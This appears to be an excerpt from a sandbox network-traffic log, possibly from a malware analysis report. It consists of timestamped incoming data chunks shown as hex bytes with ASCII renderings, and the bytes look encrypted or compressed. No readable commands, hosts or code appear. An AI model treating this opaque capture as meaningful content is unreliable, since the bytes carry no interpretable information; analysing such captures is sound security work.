2023-08-02 08:30:43 UTC	162	IN	Data Raw: 8c 17 75 39 7d 85 5e e0 8d 48 4e 9f 46 a1 35 82 c6 49 18 09 3f f4 6d 3a 03 a2 be 60 4c 59 41 2e dd 59 70 75 ab d5 ca 4c 16 a9 88 17 54 b6 05 b7 88 b8 26 77 01 b9 4e 71 25 e9 3d 34 bb 69 3e 40 e1 8f d4 a3 88 d1 54 0b 12 ec 27 39 f6 a4 57 a2 f3 b3 5b 86 e7 89 87 26 0c fd d0 e0 00 4a 42 47 26 84 ca 0f 26 c0 48 eb f4 c0 f1 c2 5f 9e a0 a9 91 0c d0 3d b2 bd 97 54 cf f9 2d 7f 39 b3 be d5 90 fe d6 5f ad 58 30 8d 1d 2b 25 2a 08 ae 57 f0 7d a3 a3 c4 cf b4 c6 4e b3 dd 14 a3 dc ce 7e da ad 75 20 d6 01 70 b6 25 df 0e eb c2 c4 92 f0 12 02 10 38 12 c1 86 df 1d 20 c8 a1 07 5f e5 c7 e0 c2 62 d1 2b ef 0e f4 e6 20 26 b7 ad c1 5e 68 08 46 44 9c f4 fd 97 cc f5 5d b8 4a 00 39 56 4f d2 46 60 54 7f 3f 9f e9 23 90 b8 ad b7 3c 8e 82 4c 4e ce 3e 7d dc 9b f7 1f 4e b8 e1 94 0d 36 24 Data Ascii: u9}^HNF5I?m:`LYA.YpuLT&wNq%=4i>@T'9W[&JBG&&H_=T-9_X0+%*W}N~u p%8 _b+ &^hFD]J9VOF`T?#<LN>}N6$
2023-08-02 08:30:43 UTC	178	IN	Data Raw: c6 30 7f 56 6f 91 54 9b 0f c1 50 8a 90 5d b4 4c 73 64 bb 05 6b cf bf 16 e1 92 c9 47 b0 d0 0e 87 f1 f6 b1 24 bc 3e 08 91 9b 4b 6c 6a 9a 23 5d 85 fc ca 7d cd dc 1f 65 17 e9 41 d0 81 90 5f fd 41 ed bd 6c 85 6e e7 ab ea ba 1c 46 a3 c9 06 8e ea 16 68 94 b2 7e 27 ef fb a8 3b eb e5 81 35 75 bf 9c f4 43 f6 ca d8 87 27 fd c6 6b 4f b2 3f 93 cf d0 6a 59 d3 f2 d5 3d fc 2e 08 e3 68 72 ee 3d 72 ef e6 30 e4 66 e5 f7 89 bf 3a 20 93 48 18 80 6e 07 df df a0 71 0b ca 43 8b 49 bd 42 40 83 46 d2 71 1c dd 29 2b 3c 1a db d7 77 31 10 73 8e 2c a0 98 98 ab 95 46 5f de 40 8b c7 63 51 5d 80 2a 0d 93 16 d9 e0 38 47 f3 6f 46 51 02 e5 33 8c 09 52 f6 de 84 c7 11 7d 20 22 16 11 57 46 87 75 44 ec 12 0a e9 30 06 7b 8c 2e b4 d1 10 bd 2e 7f 78 79 27 e4 cd c1 6a 9d 74 0d 9f 6b 4e e2 6d 79 c2 Data Ascii: 0VoTP]LsdkG$>Klj#]}eA_AlnFh~';5uC'kO?jY=.hr=r0f: HnqCIB@Fq)+<w1s,F_@cQ]*8GoFQ3R} "WFuD0{..xy'jtkNmy
2023-08-02 08:30:43 UTC	194	IN	Data Raw: 6d cd fe f3 ab 5a ad 11 a6 2a 1e ce 5a 23 33 aa d5 a9 ca 9a 32 d3 15 a2 5b d3 20 27 99 11 da 1b 79 a2 74 12 3d 92 9a e3 39 af e9 e6 49 a8 d0 94 8c 1f 36 52 f1 9c c1 17 da ba 20 55 d6 99 19 77 b4 0c 26 ce 09 37 73 4f 78 56 82 65 51 d8 9b 65 5d 45 e5 d7 db 6a 16 76 b5 99 04 f7 a3 a7 77 8e dd 37 e7 68 f9 db 9c f3 34 64 c0 ca c4 05 71 9e e2 f7 8f 06 f6 e5 ba f5 4e 61 bc 09 5b 46 cd bf 4a 1d a2 72 ee 5f a5 3f b8 5c 9b f8 95 c4 e3 ed 26 4e 56 a8 ed 5c 1e da c8 35 3d cb a3 6d ce fa 8a 69 11 36 55 12 34 11 95 29 cf 18 2f 17 1b f9 95 13 f6 05 19 b5 5d fb 89 91 11 45 24 5e a7 a7 3d ce da f4 ba 04 2d 09 87 08 5d 5c 7d a4 24 1a 31 6f c2 80 3b b9 93 66 04 48 a3 9b 40 63 88 36 04 f8 95 48 14 c5 3f 2e 1f 50 11 be d8 1a d6 34 9a 33 03 1a ae be 41 9d e1 40 32 46 62 7c cd Data Ascii: mZ*Z#32[ 'yt=9I6R Uw&7sOxVeQe]Ejvw7h4dqNa[FJr_?\&NV\5=mi6U4)/]E$^=-]\}$1o;fH@c6H?.P43A@2Fb\|
2023-08-02 08:30:43 UTC	210	IN	Data Raw: 25 76 4f 5a e8 f5 f3 3e 6a c2 01 1c 5c 6a 86 f9 be ee 51 bf 45 18 56 ad b5 88 8c 3b e5 17 53 ef b8 a3 1a be cf 11 6f db a7 88 92 9b 5f 7d ac 76 2f ba 33 bb 7f 09 0c 43 00 e3 66 0b 38 3e e4 ed 19 dc e2 ea b1 da f6 a0 91 e5 05 6d 34 4b 5f 4c 8e df 07 d2 a6 b9 ef 72 eb b4 3f cd 01 77 1b fe 7b c8 5a a4 65 c5 82 3d 3d 59 80 6b 7f 11 92 36 d1 fe 75 b5 40 97 8c fe 1d 01 02 32 19 95 0d 89 b5 4b ba bf 5c 76 bd 42 b0 70 ce c9 9f c2 c1 88 03 8a d9 35 66 ca 3f f2 cf 35 33 1e 50 7f 5d f1 8b fb e7 b7 f8 48 51 28 2b 34 6b b4 ad ff 1b ae d3 70 89 0f 05 0f f6 5c a3 97 18 d4 d6 de 73 8b 87 de be ed b8 9e 97 f8 79 38 e8 0a 95 e5 41 8b 60 fd f3 34 9f 36 d9 c1 81 1a 88 13 8b 56 c1 8b b7 75 50 e9 43 9f 73 49 28 50 04 0a 5f 1d 37 bf 6e fe b8 6e 41 47 73 4d fb 5d 32 38 bf c1 9c Data Ascii: %vOZ>j\jQEV;So_}v/3Cf8>m4K_Lr?w{Ze==Yk6u@2K\vBp5f?53P]HQ(+4kp\sy8A`46VuPCsI(P_7nnAGsM]28
2023-08-02 08:30:43 UTC	226	IN	Data Raw: 20 f8 49 24 84 ea 6b 3c b6 e7 f8 6a 67 62 6d c8 f6 51 55 f3 5a ea 75 85 0d 32 2e c0 80 91 c6 fb 00 56 d2 51 25 ec eb ee 9d 65 46 ba 28 73 91 56 ea a3 a2 11 fe 15 a6 b6 6b 55 0b 5b 5f d8 e4 5f 45 ae 7b 2f a3 be c7 a0 21 2b 90 79 0e 26 d8 e9 76 ae 01 83 89 87 2e 2c 02 f7 fc 93 ae b0 cd 41 e6 90 76 9a 7f b7 ba 3c 6a d1 2d da f8 ee 1b 60 90 a0 af 99 b6 24 68 0d ed 5f d8 42 83 69 71 7b 94 2e 8f ba 32 46 a8 4f 10 f8 d6 3c 22 ca 3c 2c 26 8b 60 7d 5a 99 0b 07 4f 8b c7 db 66 52 82 a9 31 1e 2e b9 ea f9 b3 8c f5 78 33 c4 ef d6 6a 2a c8 3e 59 83 12 48 cc cd 97 c0 66 cb 46 13 3b 25 7d ef ff b6 08 1a ee 7d 1b 58 a3 1e 45 9b 90 1b 7f b1 eb 3a ca ad 01 44 51 b8 51 db 85 65 d7 89 d5 68 65 19 26 92 55 fb 8c 23 8a 0f 34 38 fc 84 d7 00 27 9e dc 90 df 9f 6b 29 ec 0f 96 9c a0 Data Ascii: I$k<jgbmQUZu2.VQ%eF(sVkU[__E{/!+y&v.,Av<j-`$h_Biq{.2FO<"<,&`}ZOfR1.x3j*>YHfF;%}}XE:DQQehe&U#48'k)
2023-08-02 08:30:43 UTC	242	IN	Data Raw: 9b e7 09 25 f4 ec 98 5b 73 de e9 61 63 74 45 52 67 8b d2 aa 7d 3a f5 77 d9 e3 22 d5 39 98 2f fc 4a 50 98 f2 92 cf 55 35 3d 2b 99 ad f1 c2 77 00 33 34 fe eb 1f 53 b4 f3 b5 8f 46 61 3f ff 10 31 66 1f 82 bf 26 8d aa 43 b8 ff b2 fb f2 67 c2 c0 cf 78 be 7f a3 22 bf 6a 2d 39 22 34 67 f1 56 c8 ca cc b0 cc 3b 7a 90 27 6c a3 04 16 75 f3 9c d6 98 f5 a9 81 70 05 d6 2f cc ef ea 9a be 42 1d 9f 0b 7f 1a 9f 92 10 51 79 8e a0 b5 e0 67 47 f1 07 e3 16 ec a6 33 dc be de d4 6b 9e 47 c4 71 f3 95 a7 1f 62 39 ff 54 e3 64 95 3a 88 ce f1 c6 ce 00 cf d4 fa ed 4f 88 0b 85 42 1b 48 6a a7 05 08 c1 a7 26 3c fc e0 30 17 b8 a6 b4 3e ae 5b 85 1e 57 89 7b 8e 51 9f 55 95 1f c5 94 e1 9c 75 0a 27 4d 2b f2 ee 32 58 ef 09 a5 76 00 fa b7 8b 5d 6c 9e 19 db 97 f1 11 23 4c 32 f4 7e 5c a8 9c 95 e7 Data Ascii: %[sactERg}:w"9/JPU5=+w34SFa?1f&Cgx"j-9"4gV;z'lup/BQygG3kGqb9Td:OBHj&<0>[W{QUu'M+2Xv]l#L2~\
2023-08-02 08:30:43 UTC	258	IN	Data Raw: d6 a6 1a 71 15 b1 0e f5 e9 8e bb cb 47 27 49 2b 95 96 fa 10 33 07 69 64 05 7e 5e e0 72 45 bd bb 93 f4 76 ee d2 d9 f0 85 da e0 60 55 99 61 cf 4f 09 36 82 87 2a bb 1d e0 90 0c f9 8e df 91 a8 60 f9 38 9f df 1b 9f 60 7a 4b 4c 7c 60 74 8e 18 1c d4 aa 20 d2 6b b7 ce 20 10 d3 94 5b c7 bc c6 69 c2 e4 41 b0 c6 a8 ae 49 fe e0 87 d4 13 ff 82 c8 dd 06 a0 12 72 03 e3 cf 11 d9 c0 cd 9b d5 d7 cd 7c dc b6 1b c5 c0 4e 11 66 32 20 27 ad 05 be 7f d2 a8 5b 10 7c 8a 0c 4d 98 d1 4b c5 0c 8c 74 53 35 7e 90 14 a9 48 b2 e2 55 dd 60 e6 32 14 d9 9f ad 27 16 fd fe 76 35 50 08 32 1f 45 1f f4 0a 0d 39 54 c8 69 d1 0e 37 ee f2 21 f4 e5 88 5c 7f 7c 70 c5 94 1e 9f 7a 4e 50 91 8f 68 2b f0 89 62 70 f0 1a e4 3d 85 db c2 ff 5c 37 94 b7 8c 17 96 28 11 10 be c5 76 96 c0 81 1a 7a ce 25 9c fb c3 Data Ascii: qG'I+3id~^rEv`UaO6*`8`zKL\|`t k [iAIr\|Nf2 '[\|MKtS5~HU`2'v5P2E9Ti7!\\|pzNPh+bp=\7(vz%
2023-08-02 08:30:43 UTC	274	IN	Data Raw: 4b c9 1f 89 b7 3e 4b 24 a5 0e d6 fd a0 f0 cb 38 10 33 26 98 67 32 bf 69 30 50 30 b7 dd 96 26 24 7f b7 ef b4 cb 27 4b c1 38 88 c6 85 bb 96 99 99 c2 4b 07 10 43 94 c5 fc d7 a2 10 0d f3 29 9e 73 5f ac 83 9c 53 6f ed 55 28 bd 70 2c 57 48 4f 8c b0 b8 c4 3c 6b 44 55 d8 68 e7 da d3 c5 c0 6b 74 9b ed 82 be 83 1e 57 43 69 46 58 6b a2 a8 4c d0 18 56 13 78 c1 cd d2 6b 70 a2 0d 0c fd f2 b6 38 95 8f 48 4c 62 70 07 d9 99 db c7 4e da 41 6d 69 32 c3 e5 da 06 fe f0 a2 3f 1e 1e 46 3d c1 7d d0 9a ee a2 db b5 26 24 f4 1f 16 67 ec e7 48 4b e2 b9 02 49 1f 82 b9 17 c6 31 f7 b7 75 b5 30 7f 21 94 87 05 b3 4c 97 91 58 09 e7 d9 41 ff ae ee 75 f3 a5 c5 52 c1 a5 16 da be a7 9c 10 26 15 fa ce d9 80 ff fb de b0 ca fe 77 d8 af a6 1d 61 76 f3 86 b5 37 c2 a3 b8 13 24 34 44 61 cc fc ed a0 Data Ascii: K>K$83&g2i0P0&$'K8KC)s_SoU(p,WHO<kDUhktWCiFXkLVxkp8HLbpNAmi2?F=}&$gHKI1u0!LXAuR&wav7$4Da
2023-08-02 08:30:43 UTC	290	IN	Data Raw: e2 81 11 8d 97 25 5d c1 f6 fa 06 0e 27 53 9e 1f d6 5d f5 82 7f d9 d8 5f 4f 5a d7 4d fc 0c 39 e4 af fa 54 52 0f 44 85 1b 0f c0 05 38 6d 70 58 46 c4 1e ee 3a e9 23 60 c3 4e 23 e9 91 4f 9d 9d d1 69 c4 de ef 12 73 57 92 af 85 2a 16 58 34 37 de 1b 8e 57 0a ae e2 84 f3 23 d4 09 18 87 06 41 aa f1 e6 a1 01 72 c6 11 7e 7a 73 a6 93 3d a8 7a 0d 33 61 f3 8e a8 52 f1 bc a2 5b 73 3a 8e ee 62 bc e6 c1 33 a5 b1 ea de 42 0f 78 80 ea e3 05 ee 57 e0 6e 6d 00 f7 c7 a5 f2 ae 74 50 f7 d8 30 24 17 ed d8 2f 5c d6 bf 4f f4 9a e6 be 33 63 5c 6b c0 2e 1f 74 43 10 48 94 33 8d a7 19 63 ce 7f c0 7e a1 5a 5a 90 fc 2c 85 38 90 c9 f2 af 2d a3 71 d5 87 9d aa 1d 74 2a 6a 80 27 e6 f8 e9 c3 90 31 b1 ee d5 9a 01 04 70 22 7e 04 d1 20 d9 a8 2d d6 41 8d de e8 d8 6a dc 03 9e 9f f8 eb 15 b6 43 2a Data Ascii: %]'S]_OZM9TRD8mpXF:#`N#OisWX47W#Ar~zs=z3aR[s:b3BxWnmtP0$/\O3c\k.tCH3c~ZZ,8-qtj'1p"~ -AjC*
2023-08-02 08:30:43 UTC	306	IN	Data Raw: 55 df 92 82 2f 9d 1f 6e 61 04 99 26 2d 38 da a4 42 3f bf 80 db 22 81 01 75 a8 67 06 4f 8a 97 db 3d bd 70 6f bc ec 61 14 17 54 2a 9b 51 d9 96 4b 33 a0 16 17 f8 c9 d0 fd a3 20 47 25 88 6e 5e 00 a7 a9 de 40 67 c5 a8 9d 39 ba 10 ce 54 f3 2e d7 95 a3 a0 fb fa 03 39 df 13 3c f5 45 f3 16 1b 75 f3 9c 87 14 6d eb 24 fd f5 41 dd 3c 48 ab 18 95 5e ad 32 57 80 3c 88 72 a6 7e 0a da 99 2e 2e 27 cd f4 38 c3 b1 c9 b3 4f f7 fb 08 28 d5 4a b1 02 91 b8 2c bb 65 ab 58 56 f0 d5 b0 6a de 4d a1 f9 cc 01 12 14 7a 56 2e 14 de 22 37 be 40 b1 c6 11 e4 86 d0 a1 b6 9f 24 31 11 eb 3a c5 6d b1 58 8c 6b 90 ff 20 8d 50 c4 a8 c0 4a e6 36 ce ca 1b 4e dd f9 1b c5 ab 6d c7 5d fb fd 4e ff 50 dd 16 af 05 73 1d f5 9f 78 24 7c dd 47 6a 36 aa 6e 7d 6c 74 2b 72 d3 10 15 a1 13 26 40 ff 91 5a 8c c2 Data Ascii: U/na&-8B?"ugO=poaT*QK3 G%n^@g9T.9<Eum$A<H^2W<r~..'8O(J,eXVjMzV."7@$1:mXk PJ6Nm]NPsx$\|Gj6n}lt+r&@Z
2023-08-02 08:30:43 UTC	322	IN	Data Raw: e9 9c 62 09 82 68 eb 6b db 7b 67 ea 38 3b f2 8c 2c 0b e7 a6 7f 12 09 94 36 d7 9a ef 16 a7 ce c3 4d fc b2 98 83 df 8f f2 dc 46 5d ac a5 48 80 04 71 96 91 6f 50 80 d6 11 e5 2f 68 a2 0a 5d 96 90 6e 1a 5b 4f 12 6e 06 7b d5 c0 65 be 8a 63 b2 5a 82 48 43 05 3f 2a 7a fb 0e b9 3d a1 03 80 fe 01 e1 f8 0b d7 39 2f 6d 89 2b 74 87 0d e1 be 73 73 27 86 2c fa 6d b6 fe a9 5f 87 17 74 13 fc a3 0a b0 e8 d0 6f d6 cc 91 29 b5 91 2a a5 f4 5e d1 58 fa 18 8b a4 2b 91 5d b6 ef 6d 73 e1 86 42 b8 d8 03 18 a8 0a f8 cc dc ed 4e 3d cb 4c 3e 24 17 ca 60 a0 23 8c 5f d1 95 84 0f 09 e0 32 ec d2 9c c9 fd 64 2a e9 f4 a9 c4 8e 3c b3 98 80 2e 39 c3 94 1a c3 d7 d3 eb 8d 26 27 f6 74 a6 fd ae 8c c1 cf 38 d9 9c 63 7e 26 57 80 90 b6 30 b2 06 b0 d4 b9 41 84 55 16 d3 92 e1 1f e8 19 a6 64 3d 35 4b Data Ascii: bhk{g8;,6MF]HqoP/h]n[On{ecZHC?z=9/m+tss',m_to)^X+]msBN=L>$`#_2d*<.9&'t8c~&W0AUd=5K
2023-08-02 08:30:43 UTC	338	IN	Data Raw: fa 66 60 37 8d 13 88 f0 2e 77 48 32 62 94 ba 85 89 86 2f 51 a2 48 53 76 11 8a 97 89 a4 aa 9d 98 ec a7 4e 84 cc 8f 55 28 ed 71 d1 77 ba 9c 58 74 34 68 ac 4d 53 15 bd 0e 06 91 ff 74 09 78 da ff ea 3d 23 76 94 59 15 8b eb 0d 31 eb 1f f9 64 04 96 eb 98 1a 7f fa 28 36 30 e5 b3 6a fd b3 9e 25 e7 89 cc 04 06 b4 07 dd 5d 4c da a3 aa ca bc fd c2 f8 b4 a6 a1 65 38 47 f9 ca 62 98 90 0a 62 6d 71 14 3f a7 2d 2f 57 5f 1a 68 4d 64 89 1e a7 de 72 e8 7e fd f3 4b 03 10 ae 51 e4 2c 03 3b 97 97 31 f8 16 01 d7 cb 9d 39 fe 97 f5 eb 74 4d 01 74 60 c8 4d 3e 6b 34 a2 df 63 ed a5 51 8e 48 0c ed 99 4d 04 df 50 43 62 c1 9d a3 70 2d 44 cc f0 1b 65 02 d0 11 7f 77 b7 bb bd 53 86 27 6b 22 e7 62 1e 15 93 90 2e 1a 23 09 39 79 c0 19 7b 2a 72 6b 9d e7 61 b5 fb 3a 2d 2c 46 53 1f 09 21 70 24 Data Ascii: f`7.wH2b/QHSvNU(qwXt4hMStx=#vY1d(60j%]Le8Gbbmq?-/W_hMdr~KQ,;19tMt`M>k4cQHMPCbp-DewS'k"b.#9y{*rka:-,FS!p$
2023-08-02 08:30:44 UTC	354	IN	Data Raw: 42 a9 7f 37 9d 51 ce 90 d6 04 ac 5b e5 52 13 95 ef d8 5f fd 37 42 77 75 56 07 0d 51 29 32 80 be 6b e4 db b6 70 99 cb c2 5d b6 f4 6a e0 62 0f 42 7e 8e 08 88 92 bb 89 d6 da ef d7 cb 23 c4 bd f1 6b c3 a9 0c 2a 71 f8 22 94 a7 58 a0 e3 cc 0a 68 db d7 4c 53 62 43 46 82 d3 81 9d 5a 03 a9 ad 8d a8 72 d9 a9 7f d5 9e 36 a0 12 20 9f 51 75 6f 7d 30 c1 58 7d e8 10 df 4f 8d 59 49 33 31 56 e0 ed 65 e0 df be e0 f5 73 19 63 99 84 05 4b 3c 57 d6 eb e3 26 f9 62 db b0 9a 1f 09 e9 5e 8f ee 83 45 38 34 48 a6 a0 9e 48 cb d6 5a aa 2a ad d0 6f 79 ed 86 e0 43 fa 2c da e5 8e f4 62 90 43 a3 00 be eb cf 6d 8d 59 dd 09 7b 8e 7b 5b 04 9f fc 47 ae af 7c e3 70 06 f2 0d 8e 37 2f b9 73 41 b9 0a 25 f3 2c 07 32 77 18 d0 8a d7 2f 54 6a e0 77 f6 dd 0d 3a ed f5 66 4e 06 2c 5b bf 03 c7 29 77 ed Data Ascii: B7Q[R_7BwuVQ)2kp]jbB~#kq"XhLSbCFZr6 Quo}0X}OYI31VescK<W&b^E84HHZoyC,bCmY{{[G\|p7/sA%,2w/Tjw:fN,[)w
2023-08-02 08:30:44 UTC	370	IN	Data Raw: d6 6d af 7f f0 47 f7 9f 96 89 51 3d ae c9 a1 b3 eb d9 a4 5c 6c 33 12 ce 5b 79 39 60 c8 46 fc 0e 20 5c ef 73 c8 15 b1 9f 39 cc cb 68 a9 90 4e 04 98 d7 c4 e1 d9 bc 04 1d a8 ca 6a fa 47 7e 2d c8 6f da 03 28 7c 54 8d db f3 8a 70 a9 a9 e2 da 59 01 bd e6 8b 79 d3 47 62 80 f6 60 66 20 45 4d 64 5e 99 01 0d 2a 21 09 67 e1 5f c6 4e 7a 41 9e 15 59 6a 84 f4 b8 37 e9 68 9a 19 bb 16 4b f6 35 b3 91 ec f0 db cd 62 3c 92 2b 39 03 19 1f e6 4b a6 bc 98 9f 51 12 67 0d 5f 98 15 27 3d 5b 92 98 77 1f a7 01 12 1d e2 76 2a 6c 63 95 ab fa 37 d4 f3 74 81 79 18 ef d7 c1 8f ef b7 65 c2 4e 29 05 0a 03 2a 67 0c 43 d4 4d df ec 8d 57 6e b5 2d 16 08 e5 ca 8f 55 e4 e9 5c 19 74 41 be f5 be b6 85 65 34 a5 84 f8 4b 52 ed b7 a8 d0 bf 1c be 10 b3 c3 ec 89 dc 19 9d dc 6f bc 6a 65 99 90 8b 3e 95 Data Ascii: mGQ=\l3[y9`F \s9hNjG~-o(\|TpYyGb`f EMd^!g_NzAYj7hK5b<+9KQg_'=[wvlc7tyeN)*gCMWn-U\tAe4KRoje>
2023-08-02 08:30:44 UTC	386	IN	Data Raw: 2a d8 08 6c d5 df 20 b8 8a 7c a6 cf 9b 51 4e 8a 12 ac 08 cd 98 ce 87 73 e1 ed 15 e7 4b 28 99 7e 3e ce 92 b1 f7 12 1a a7 f8 c3 97 f2 53 88 ff bc 0b 05 e1 65 b3 04 67 7f ec c1 95 53 ea 2a 14 31 1d 55 05 49 a7 1e ec 0b 7f 01 4f 37 33 c0 69 f4 cc 69 2e b6 ff 3e cc 95 26 f3 5d 29 0a e0 1d 70 c6 f1 27 07 f3 f8 af 9b 7b 72 a6 63 70 34 ac b6 ca c6 97 ad e3 49 b4 9e ae c5 97 bc 7b 3e a2 f8 c9 63 ea 9b b6 51 27 64 a2 98 cf d8 97 6a c9 a1 ce d0 33 79 60 17 5d 14 4f c1 de b2 1c 5b 3f 56 60 2c 45 b9 f0 19 3a 5d fa cb c6 22 5f 94 88 50 a2 2e e0 19 91 f0 53 aa 9b 3b 1b 7e ba 29 25 82 3a a1 c7 4c 1e e8 2f 09 f0 71 0f 8f cc bd 70 f6 b9 af 44 f6 b6 8d 4e 69 f2 b8 20 fc b0 4d c9 bc c5 2c 48 67 84 54 de 77 03 65 8d 34 dd 5d 52 c1 e2 5b 0e bf 97 5a c9 93 a0 b1 d6 f7 55 10 a7 Data Ascii: l \|QNsK(~>SegS1UIO73ii.>&])p'{rcp4I{>cQ'dj3y`]O[?V`,E:]"_P.S;~)%:L/qpDNi M,HgTwe4]R[ZU
2023-08-02 08:30:44 UTC	402	IN	Data Raw: 0b b1 33 3a aa 89 e4 52 3e 33 eb c6 40 b5 f8 31 2d b6 e7 4b 7c 2e cf da 60 55 6f 8a 43 cb da 34 f8 9c 21 f0 8c 51 ab 6f f2 a8 65 45 eb 8e 2b 84 bc 8c 22 85 67 0d 1a 60 87 ad b2 f7 ac 95 ac fd 48 76 e2 8c 25 e0 36 b6 41 de 5c e2 24 12 7c 3d 7b 50 e6 dd c6 b6 2e d0 c9 c4 ff b2 68 f1 e9 1b e3 74 7c 91 1d d4 69 15 e3 20 fc a0 c4 1d 6a da 78 73 f1 56 a5 f8 9f 7d c8 dc 51 5e 45 d0 c5 dc da 9d 68 5a f7 5b bf e1 e6 d5 d5 62 65 a6 7f 5b 85 24 a9 9e 2b 83 84 95 82 20 41 a8 16 d1 2c a9 83 89 1c c1 6a 48 21 1e 10 60 d1 be f6 75 b9 55 66 26 a1 83 d1 72 b9 6d fd 84 2b 97 86 6d a8 a6 f7 58 51 5a d1 c5 e5 34 39 5f ae 8e 0e 3a a6 c6 99 21 39 ea 1e 6c 19 6f 68 22 8f ba ea 4c 5b 0c d0 7c 15 fc 00 8a 1d ac d7 2c dd 90 7f 3c d9 dc d8 e9 8f 6a 07 d6 d8 cf b8 d3 6c f7 65 6f f4 Data Ascii: 3:R>3@1-K\|.`UoC4!QoeE+"g`Hv%6A\$\|={P.ht\|i jxsV}Q^EhZ[be[$+ A,jH!`uUf&rm+mXQZ49_:!9loh"L[\|,<jleo
2023-08-02 08:30:44 UTC	418	IN	Data Raw: bd a1 b1 61 72 4e f1 8a ac 54 34 d9 be 7a 84 b6 1b ed 49 5a 01 ce a1 f7 8e 06 c4 3d 01 fb 0f cf 22 c2 16 0c 8e 14 7e d2 fc 90 5b 38 eb 14 4f 83 96 ab 16 6b 58 a1 f8 e6 6d 19 45 31 1f 4a 93 4d fa 64 ef 4e 30 f5 af 19 22 24 73 6b 46 69 53 b0 5c cb 20 ba fe e1 37 1c ed db b0 c5 b7 64 38 eb 78 2a ec 05 73 fb b8 79 1e 8a 4f 56 b2 7e 7b eb 59 81 a3 ec 7b 8d a4 69 66 dc 9a ac 33 9d d0 2b ac 6f f1 94 e7 00 42 63 f0 92 1b f4 bb 57 a2 ea b8 62 9f d3 2e 50 b1 00 48 93 4a ec 50 b2 dc 76 22 0f 08 c8 a3 f7 25 5d 03 60 2c f1 de b7 36 3d 66 90 5c b3 03 bd 4a 31 35 b5 b3 6c 5b 92 41 8c 07 0d 84 2b 38 96 aa 73 da a8 94 8b 01 a5 d0 eb 44 07 b1 8f a2 87 d1 f8 bd a0 c2 fe cf 79 c7 af 12 24 67 42 bd 55 9f d4 ab 31 d8 76 52 70 3d ff 97 a8 a5 40 c1 00 74 56 19 5a 66 8a 98 14 a7 Data Ascii: arNT4zIZ="~[8OkXmE1JMdN0"$skFiS\ 7d8x*syOV~{Y{if3+oBcWb.PHJPv"%]`,6=f\J15l[A+8sDy$gBU1vRp=@tVZf
2023-08-02 08:30:44 UTC	434	IN	Data Raw: 1b 52 c9 cf 45 b8 9d ce 30 14 22 53 44 3e 44 1a 1e 71 9f f5 56 4a 92 25 30 e6 88 c3 a8 33 6f 1a 61 a5 3c 5c 3a bc 82 24 0c 1f 3f d1 79 91 12 1b c5 dc dc 36 8b 4f 37 9b ca 5d b1 1e cb f8 d5 36 20 ba 96 3b ca 40 5c 52 03 a6 54 e1 0e 86 fb 8d 43 c9 2e a9 4a 61 11 48 7d 0f 09 b7 6f 26 9a f0 59 b1 12 2a 93 d9 15 49 cb fa 8d e6 55 bb 9e 05 ba a2 6b c7 1d 1d d8 24 a3 31 34 5a 4f a9 bd 17 6e da db 16 17 3b 57 0d f6 e4 a5 73 50 9e c2 b4 13 6c 86 6f c6 88 ac 2e 0b 8b 92 87 a4 8e bf ef 3d 64 29 37 cb f6 74 6d 3b 1a 26 a2 de e3 21 00 77 1b e5 76 d2 81 07 10 90 2e 89 14 1b 37 c0 f9 23 38 85 79 1f b3 f3 50 18 67 2f c2 34 5e 93 bb c3 4d 1b d2 d3 91 ae 3a 69 46 02 e6 54 d3 d7 7d fb 62 76 7d 0d e5 3e f8 de aa 03 93 ab 23 66 f6 3e 30 dd 9e ab 5e 74 26 ce cf 96 4a 0d f0 62 Data Ascii: RE0"SD>DqVJ%03oa<\:$?y6O7]6 ;@\RTC.JaH}o&Y*IUk$14ZOn;WsPlo.=d)7tm;&!wv.7#8yPg/4^M:iFT}bv}>#f>0^t&Jb
2023-08-02 08:30:44 UTC	450	IN	Data Raw: ce d6 d0 a6 40 65 44 26 c4 fc f4 8d 3e 56 dc 25 48 eb 66 9d e6 74 32 56 33 0d 2d 38 01 f0 ee ae 55 ad 8b 59 d4 66 9c 91 55 6a a3 d4 79 0f c7 4f c0 40 30 f8 3b 94 61 e8 93 b7 bb d0 d1 7b 48 bd 3f 59 8f e5 a4 31 c4 08 75 27 9f b3 22 fd 9d c8 45 9c 23 40 11 a9 f2 e7 06 74 76 cf b6 0b f9 ea 6e 3b cc 1f 64 58 47 91 d6 8b 37 ff 19 cd 2e 01 90 ee ae f5 f7 b1 38 6a 58 e7 a5 74 02 54 85 3e 2f c5 61 73 06 5c bf e7 31 de 0b 85 5b 26 bf da 0a 6e 03 ce 78 24 5b 6c aa f6 a6 35 3f a3 f2 23 fa 71 34 7e bb 2e d0 5c 1b aa c6 e9 05 4a c8 dd d0 97 03 2d db fb aa 53 d3 80 84 cd 6b 99 b1 5f 0d d2 ee 8e 95 1c 4f c7 8e 57 83 01 9c 15 f8 88 99 f8 88 39 29 dd d0 66 c8 bb 7b 1d 35 e8 11 42 07 5d 2f 01 8d 18 11 8a 47 3f 40 ba d0 1c b5 f8 01 59 9a 19 06 1d 6b 05 2a 22 80 92 50 1d 24 Data Ascii: @eD&>V%Hft2V3-8UYfUjyO@0;a{H?Y1u'"E#@tvn;dXG7.8jXtT>/as\1[&nx$[l5?#q4~.\J-Sk_OW9)f{5B]/G?@Yk*"P$
2023-08-02 08:30:44 UTC	466	IN	Data Raw: f3 95 c5 c5 19 66 91 a1 48 81 f9 3b fe 15 c3 0f c6 e3 2b ae a7 3b 14 92 bb 2b f6 05 73 76 c1 aa 1f fd 72 c9 ff ac db 33 8e 82 8d 1f 3d 81 46 f6 53 1d 98 1b 6a ff d9 89 12 a6 dd 8f 9b d1 2f 0a 89 cc c6 32 b9 02 11 4c fb 80 c6 d6 7b 48 5a ce 8d 2a 40 08 06 53 68 14 72 a0 88 07 00 c1 f8 65 16 76 b7 10 39 5b 2a 79 b1 f0 a9 05 b6 b0 b3 ae e9 5a d2 de 81 ca 97 ba ce c1 60 a8 48 7f 0e eb 16 72 7f d3 89 0e 5c cb 06 c8 88 3a cf fd 17 2d e5 d5 a3 3f e3 8c c1 12 80 49 15 65 79 8b d5 a5 b6 0d 34 b0 d4 06 16 02 fd 06 be 62 e2 f3 a9 c7 05 e8 69 9c fc 15 d1 65 ef 7d 98 71 f9 f1 35 b9 32 48 22 88 82 71 80 d3 8a 31 2a b1 5d 58 82 96 87 8b 8c 8c 24 b5 ea 0e 10 4c 2c 2f 15 51 bf 86 8e d8 98 bd e4 0a 0a cc 07 70 3c 79 c0 fd be ba 8d f2 dc fa 30 5c 70 c7 7d a2 4b 03 d3 73 b7 Data Ascii: fH;+;+svr3=FSj/2L{HZ@Shrev9[yZ`Hr\:-?Iey4bie}q52H"q1*]X$L,/Qp<y0\p}Ks
